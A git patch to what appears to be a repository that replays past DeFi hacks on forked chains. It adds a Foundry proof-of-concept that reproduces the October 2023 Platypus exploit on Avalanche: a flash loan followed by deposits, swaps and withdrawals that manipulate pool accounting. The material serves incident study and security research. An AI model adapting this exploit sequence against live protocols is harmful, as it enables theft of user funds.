From 84b8988119bd2e5f6731a77819f2ec755a7b8ee9 Mon Sep 17 00:00:00 2001 From: zhouxianyuan Date: Thu, 12 Oct 2023 22:25:18 +0800 Subject: [PATCH] Platypus EXP --- README.md | 26 ++++++++- src/test/Platypus03_exp.sol | 113 ++++++++++++++++++++++++++++++++++++ 2 files changed, 138 insertions(+), 1 deletion(-) create mode 100644 src/test/Platypus03_exp.sol diff --git a/README.md b/README.md index b93798cc..7c575d56 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ **Reproduce DeFi hack incidents using Foundry.** -299 incidents included. +300 incidents included. Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h) @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ ## List of Past DeFi Incidents +[20231012 Platypus](#20231012-platypus---business-logic-flaw) + [20231011 BH](#20231011-bh---price-manipulation) [20231008 pSeudoEth](#20231008-pseudoeth---pool-manipulation) @@ -664,6 +666,28 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ ### List of DeFi Hacks & POCs +### 20231012 Platypus - Business Logic Flaw + +### Lost: ~$2M + +Test + +``` +forge test --contracts ./src/test/Platypus03_exp.sol -vvv +``` + +#### Contract + +[Platypus03_exp.sol](src/test/Platypus03_exp.sol) + +#### Link Reference + +https://twitter.com/BlockSecTeam/status/1712445197538468298 + +https://twitter.com/peckshield/status/1712354198246035562 + +--- + ### 20231011 BH - Price manipulation ### Lost: ~$1.27M diff --git a/src/test/Platypus03_exp.sol b/src/test/Platypus03_exp.sol new file mode 100644 index 00000000..d55b6e1a --- /dev/null +++ b/src/test/Platypus03_exp.sol @@ -0,0 +1,113 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Lost : ~2M USD$ +// Attacker : https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7 +// Attack Contract : https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd +// Vulnerable Contract : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447 +// Attack Tx : https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867 mutiple txs + +// @Info +// Vulnerable Contract Code : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447#code + +// @Analysis +// Post-mortem : https://www.google.com/ +// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712445197538468298 +// Twitter Guy : https://twitter.com/peckshield/status/1712354198246035562 +// Hacking God : https://www.google.com/ + +interface IPlatypusPool { + function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256); + + function withdraw( + address token, + uint256 liquidity, + uint256 minimumAmount, + address to, + uint256 deadline + ) external returns (uint256); + + function swap( + address fromToken, + address toToken, + uint256 fromAmount, + uint256 minimumToAmount, + address to, + uint256 deadline + ) external returns (uint256, uint256); +} + +contract ContractTest is Test { + IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7); + IERC20 SAVAX = IERC20(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE); + IERC20 LP_AVAX = IERC20(0xC73eeD4494382093C6a7C284426A9a00f6C79939); + IERC20 LP_sAVAX = IERC20(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789); + IPlatypusPool PlatypusPool = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba); + IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD); + + function setUp() public { + vm.createSelectFork("Avalanche", 36_346_397); + vm.label(address(WAVAX), "WAVAX"); + vm.label(address(SAVAX), "SAVAX"); + vm.label(address(LP_AVAX), "LP_AVAX"); + vm.label(address(LP_sAVAX), "LP_sAVAX"); + vm.label(address(aaveV3), "aaveV3"); + vm.label(address(PlatypusPool), "PlatypusPool"); + } + + function testExploit() public { + WAVAX.approve(address(PlatypusPool), type(uint256).max); + SAVAX.approve(address(PlatypusPool), type(uint256).max); + + address[] memory assets = new address[](2); + assets[0] = address(WAVAX); + assets[1] = address(SAVAX); + uint256[] memory amounts = new uint256[](2); + amounts[0] = 1_054_969 * 1e18; + amounts[1] = 950_996 * 1e18; + uint256[] memory modes = new uint[](2); + modes[0] = 0; + modes[1] = 0; + aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0); + + emit log_named_decimal_uint( + "Attacker WAVAX balance after exploit", WAVAX.balanceOf(address(this)), WAVAX.decimals() + ); + + emit log_named_decimal_uint( + "Attacker SAVAX balance after exploit", SAVAX.balanceOf(address(this)), SAVAX.decimals() + ); + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params + ) external payable returns (bool) { + WAVAX.approve(address(aaveV3), amounts[0] + premiums[0]); + SAVAX.approve(address(aaveV3), amounts[1] + premiums[1]); + + PlatypusPool.deposit(address(WAVAX), amounts[0], address(this), block.timestamp + 1000); //deposit WAVAX, mint LP_AVAX + PlatypusPool.deposit(address(SAVAX), amounts[1] / 3, address(this), block.timestamp + 1000); //deposit SAVAX, mint LP_sAVAX + + PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // manipulate the cash and liabilities of the LP_AVAX pool + PlatypusPool.withdraw(address(WAVAX), 1_020_000 * 1e18, 0, address(this), block.timestamp + 1000); // inflate the WAVAX price in platypus pool + + PlatypusPool.swap(address(WAVAX), address(SAVAX), 1_200_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap WAVAX to SAVAX, earn more SAVAX + + PlatypusPool.withdraw( + address(WAVAX), LP_AVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000 + ); // withdraw LP_AVAX + PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap SAVAX to WAVAX + PlatypusPool.withdraw( + address(SAVAX), LP_sAVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000 + ); // withdraw LP_sAVAX + + return true; + } +}